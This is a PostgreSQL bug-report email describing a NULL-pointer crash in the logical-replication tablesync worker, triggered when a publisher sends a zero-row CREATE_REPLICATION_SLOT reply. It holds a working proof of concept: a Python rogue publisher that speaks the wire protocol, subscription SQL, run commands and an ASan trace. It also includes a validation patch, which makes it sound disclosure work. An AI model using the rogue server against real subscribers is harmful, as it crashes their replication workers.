Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Subject: BUG #19547: `libpqrcv_create_slot` dereferences NULL on a malformed
 `CREATE_REPLICATION_SLOT` reply (just a sugg
To: pgsql-bugs@lists.postgresql.org
From: PG Bug reporting form <noreply@postgresql.org>
Cc: 1217816127@qq.com
Reply-To: 1217816127@qq.com, pgsql-bugs@lists.postgresql.org
Date: Wed, 08 Jul 2026 12:15:06 +0000
Message-ID: <19547-f7986f668f71e788@postgresql.org>
Auto-Submitted: auto-generated
Archived-At: 
 <https://www.postgresql.org/message-id/19547-f7986f668f71e788%40postgresql.org>
Precedence: bulk

The following bug has been logged on the website:

Bug reference:      19547
Logged by:          Yuelin Wang
Email address:      1217816127@qq.com
PostgreSQL version: 19beta1
Operating system:   Linux (Ubuntu 24.04, x86_64)
Description:       =20

### Summary

`libpqrcv_create_slot()` checks only the result *status* (`PGRES_TUPLES_OK`)
and then reads `PQgetvalue(res, 0, 1)` without validating `PQntuples()` or
`PQnfields()`. A server that replies `TUPLES_OK` with zero rows therefore
passes `NULL` into `pg_lsn_in`, which runs `strspn(NULL, ...)` and takes a
SIGSEGV that crashes the logical-replication tablesync worker. That worker
is reachable via `CREATE SUBSCRIPTION ... copy_data=3Dtrue`
(`tablesync.c:1423`, where `lsn` is non-NULL). Every sibling result-consumer
in the file validates result shape first, so this lone exception is worth
making consistent. It is a hardening fix rather than a security fix. A
subscriber crashing because the server it *chose to trust* sent garbage does
not cross a PostgreSQL trust boundary, and the impact is a NULL-page DoS on
one worker with no corruption, disclosure, or code execution.

### Proof of Concept

The PoC has three parts. `vuln_001_proto.py` is a rogue "publisher" that
hand-speaks the libpq v3 wire protocol. It completes the replication
handshake and answers every command just enough to walk the subscriber's
apply and tablesync workers forward, but it answers
`CREATE_REPLICATION_SLOT` with a `RowDescription` of four columns followed
immediately by `CommandComplete` and **no** `DataRow`, i.e. a
`PGRES_TUPLES_OK` result with zero rows. `vuln_001.sql` creates a local
table and a subscription pointed at that rogue publisher with
`copy_data=3Dtrue`, which forces the tablesync-worker path. `vuln_001_run.s=
h`
starts the publisher, issues the SQL, waits for the tablesync worker to
reach `CREATE_REPLICATION_SLOT`, then cleans up.

**`vuln_001_proto.py`** (rogue publisher / fake walsender):

```python
#!/usr/bin/env python3
import socket
import struct
import sys
import threading
import time

PORT =3D 39901
HOST =3D "127.0.0.1"

SSL_CODE =3D 80877103
GSS_CODE =3D 80877104
PROTO_V3 =3D 196608

TEXTOID =3D 25
INT4OID =3D 23


def log(msg):
    sys.stderr.write("[proto] %s\n" % msg)
    sys.stderr.flush()


def be_msg(tag, payload):
    return tag + struct.pack("!I", len(payload) + 4) + payload


def field_desc(name, typoid, typlen, typmod=3D-1):
    return (
        name.encode() + b"\x00"
        + struct.pack("!i", 0)
        + struct.pack("!h", 0)
        + struct.pack("!i", typoid)
        + struct.pack("!h", typlen)
        + struct.pack("!i", typmod)
        + struct.pack("!h", 0)
    )


def row_description(fields):
    payload =3D struct.pack("!H", len(fields))
    for (name, typoid, typlen) in fields:
        payload +=3D field_desc(name, typoid, typlen)
    return be_msg(b"T", payload)


def data_row(values):
    payload =3D struct.pack("!H", len(values))
    for v in values:
        if v is None:
            payload +=3D struct.pack("!i", -1)
        else:
            b =3D v.encode() if isinstance(v, str) else v
            payload +=3D struct.pack("!i", len(b)) + b
    return be_msg(b"D", payload)


def command_complete(tag):
    return be_msg(b"C", tag.encode() + b"\x00")


def ready_for_query():
    return be_msg(b"Z", b"I")


def error_response(message):
    payload =3D b"S" + b"ERROR\x00" + b"C" + b"XX000\x00" + b"M" +
message.encode() + b"\x00" + b"\x00"
    return be_msg(b"E", payload)


def copy_both_response():
    return be_msg(b"W", struct.pack("!B", 0) + struct.pack("!H", 0))


def recv_exact(sock, n):
    buf =3D b""
    while len(buf) < n:
        chunk =3D sock.recv(n - len(buf))
        if not chunk:
            return None
        buf +=3D chunk
    return buf


def read_startup(sock):
    while True:
        hdr =3D recv_exact(sock, 4)
        if hdr is None:
            return None
        length =3D struct.unpack("!I", hdr)[0]
        log("startup hdr=3D%s length=3D%d" % (hdr.hex(), length))
        if length < 8 or length > 100000:
            log("bad startup length %d" % length)
            return None
        body =3D recv_exact(sock, length - 4)
        if body is None:
            return None
        code =3D struct.unpack("!I", body[:4])[0]
        log("startup code=3D%d (0x%08x) body_head=3D%s" % (code, code,
body[:32].hex()))
        if code in (SSL_CODE, GSS_CODE):
            sock.sendall(b"N")
            continue
        if (code >> 16) =3D=3D 3:
            params =3D body[4:]
            return params
        log("unexpected startup code %d" % code)
        return None


def parse_params(params):
    parts =3D params.split(b"\x00")
    out =3D {}
    i =3D 0
    while i + 1 < len(parts):
        k =3D parts[i]
        v =3D parts[i + 1]
        if k =3D=3D b"":
            break
        out[k.decode(errors=3D"replace")] =3D v.decode(errors=3D"replace")
        i +=3D 2
    return out


def negotiate_protocol_version(params):
    kv =3D parse_params(params)
    unrecognized =3D [k for k in kv if k.startswith("_pq_.")]
    payload =3D struct.pack("!i", PROTO_V3)
    payload +=3D struct.pack("!i", len(unrecognized))
    for name in unrecognized:
        payload +=3D name.encode() + b"\x00"
    return be_msg(b"v", payload)


def send_startup_ok(sock, params):
    sock.sendall(negotiate_protocol_version(params))
    sock.sendall(be_msg(b"R", struct.pack("!I", 0)))
    for name, val in [
        ("server_version", "18.0"),
        ("server_encoding", "UTF8"),
        ("client_encoding", "UTF8"),
        ("standard_conforming_strings", "on"),
        ("integer_datetimes", "on"),
        ("DateStyle", "ISO, MDY"),
    ]:
        sock.sendall(be_msg(b"S", name.encode() + b"\x00" + val.encode() +
b"\x00"))
    sock.sendall(be_msg(b"K", struct.pack("!II", 4242, 4242)))
    sock.sendall(ready_for_query())


def handle_query(sock, q, cid):
    qu =3D q.upper()
    log("conn#%d QUERY: %s" % (cid, q.strip()[:200]))

    if "IDENTIFY_SYSTEM" in qu:
        fields =3D [
            ("systemid", TEXTOID, -1),
            ("timeline", INT4OID, 4),
            ("xlogpos", TEXTOID, -1),
            ("dbname", TEXTOID, -1),
        ]
        sock.sendall(row_description(fields))
        sock.sendall(data_row(["7000000000000000000", "1", "0/1500000",
"postgres"]))
        sock.sendall(command_complete("IDENTIFY_SYSTEM"))
        sock.sendall(ready_for_query())
        return True

    if "CREATE_REPLICATION_SLOT" in qu:
        fields =3D [
            ("slot_name", TEXTOID, -1),
            ("consistent_point", TEXTOID, -1),
            ("snapshot_name", TEXTOID, -1),
            ("output_plugin", TEXTOID, -1),
        ]
        sock.sendall(row_description(fields))
        sock.sendall(command_complete("CREATE_REPLICATION_SLOT"))
        sock.sendall(ready_for_query())
        log("conn#%d -> sent 0-row CREATE_REPLICATION_SLOT reply (trigger)"
% cid)
        return True

    if "START_REPLICATION" in qu:
        sock.sendall(copy_both_response())
        log("conn#%d -> START_REPLICATION: entered CopyBoth" % cid)
        return "copyboth"

    if "PG_GET_PUBLICATION_TABLES" in qu or "NSPNAME" in qu:
        fields =3D [
            ("nspname", TEXTOID, -1),
            ("relname", TEXTOID, -1),
            ("relkind", 18, 1),
            ("attrs", 22, -1),
        ]
        sock.sendall(row_description(fields))
        sock.sendall(data_row(["public", "vuln_001_t", "r", None]))
        sock.sendall(command_complete("SELECT 1"))
        sock.sendall(ready_for_query())
        return True

    if "PG_PUBLICATION" in qu and "PUBNAME" in qu:
        sock.sendall(row_description([("pubname", TEXTOID, -1)]))
        sock.sendall(data_row(["vuln_001_pub"]))
        sock.sendall(command_complete("SELECT 1"))
        sock.sendall(ready_for_query())
        return True

    if qu.lstrip().startswith("BEGIN") or "ISOLATION LEVEL" in qu:
        sock.sendall(command_complete("BEGIN"))
        sock.sendall(ready_for_query())
        return True

    if "SELECT" in qu:
        sock.sendall(row_description([("col", TEXTOID, -1)]))
        sock.sendall(data_row([""]))
        sock.sendall(command_complete("SELECT 1"))
        sock.sendall(ready_for_query())
        return True

    sock.sendall(command_complete("OK"))
    sock.sendall(ready_for_query())
    return True


CONN_ID =3D 0
CONN_LOCK =3D threading.Lock()


def handle_conn(sock, addr):
    global CONN_ID
    with CONN_LOCK:
        CONN_ID +=3D 1
        cid =3D CONN_ID
    log("conn#%d accepted from %s" % (cid, addr))
    try:
        sock.settimeout(30)
        params =3D read_startup(sock)
        if params is None:
            log("conn#%d startup failed" % cid)
            return
        send_startup_ok(sock, params)
        in_copy =3D False
        while True:
            hdr =3D recv_exact(sock, 5)
            if hdr is None:
                break
            tag =3D hdr[:1]
            length =3D struct.unpack("!I", hdr[1:5])[0]
            payload =3D recv_exact(sock, length - 4) if length > 4 else b""
            if payload is None:
                break
            if tag =3D=3D b"Q":
                qstr =3D payload.split(b"\x00", 1)[0].decode(errors=3D"repl=
ace")
                r =3D handle_query(sock, qstr, cid)
                if r =3D=3D "copyboth":
                    in_copy =3D True
            elif tag =3D=3D b"X":
                log("conn#%d Terminate" % cid)
                break
            elif tag in (b"d", b"c", b"f"):
                pass
            else:
                pass
    except Exception as e:
        log("conn#%d error: %r" % (cid, e))
    finally:
        try:
            sock.close()
        except Exception:
            pass
        log("conn#%d closed" % cid)


def main():
    srv =3D socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((HOST, PORT))
    srv.listen(16)
    log("listening on %s:%d" % (HOST, PORT))
    try:
        while True:
            sock, addr =3D srv.accept()
            t =3D threading.Thread(target=3Dhandle_conn, args=3D(sock, addr=
),
daemon=3DTrue)
            t.start()
    except KeyboardInterrupt:
        pass
    finally:
        srv.close()


if __name__ =3D=3D "__main__":
    main()
```

**`vuln_001.sql`** (subscriber side):

```sql
ALTER SUBSCRIPTION vuln_001_sub DISABLE;
ALTER SUBSCRIPTION vuln_001_sub SET (slot_name =3D NONE);
DROP SUBSCRIPTION IF EXISTS vuln_001_sub;
DROP TABLE IF EXISTS vuln_001_t;

CREATE TABLE vuln_001_t (id int);

CREATE SUBSCRIPTION vuln_001_sub
    CONNECTION 'host=3D127.0.0.1 port=3D39901 dbname=3Dpostgres user=3Dx
sslmode=3Ddisable connect_timeout=3D5'
    PUBLICATION vuln_001_pub
    WITH (copy_data =3D true, connect =3D true, create_slot =3D true, enabl=
ed =3D
true);

SELECT 'CREATE SUBSCRIPTION issued' AS status;
```

**How to run**: start the rogue publisher, then issue the SQL against the
live subscriber. The crash lands in the background tablesync worker a few
seconds later, so the `psql` call itself returns normally.

```bash
python3 vuln_001_proto.py &
psql -h /tmp -p 36901 -U ylwang -d postgres -f vuln_001.sql
```

### Result

ASan caught a SEGV (NULL read, `rdi =3D 0x0`) with exactly the predicted
stack. The server log shows the libpq notice `row number 0 is out of range
0..-1`, and the worker crash-looped 8 times until the subscription was
dropped:

```
AddressSanitizer: SEGV on unknown address 0x000000000000
  #0 strspn (libc)
  #1 pg_lsn_in_safe        pg_lsn.c:41
  #2 pg_lsn_in             pg_lsn.c:69
  #3 DirectFunctionCall1Coll
  #4 libpqrcv_create_slot  libpqwalreceiver.c:1004
  #5 LogicalRepSyncTableStart  tablesync.c:1423
```

### Fix

Add the same result-shape validation the sibling functions perform, before
touching the fields:

```diff
     if (PQresultStatus(res) !=3D PGRES_TUPLES_OK)
         ereport(ERROR,
                 (errcode(ERRCODE_PROTOCOL_VIOLATION),
                  errmsg("could not create replication slot \"%s\": %s",
                         slotname,
pchomp(PQerrorMessage(conn->streamConn)))));
+
+    if (PQntuples(res) !=3D 1 || PQnfields(res) < 4)
+        ereport(ERROR,
+                (errcode(ERRCODE_PROTOCOL_VIOLATION),
+                 errmsg("invalid response from primary server"),
+                 errdetail("Could not create replication slot \"%s\": got
%d rows and %d fields, expected %d rows and %d or more fields.",
+                           slotname, PQntuples(res), PQnfields(res), 1,
4)));
```

One check, no header or ABI change, no behavioral change against a
well-behaved primary (which always returns 1 row =C3=97 4 columns).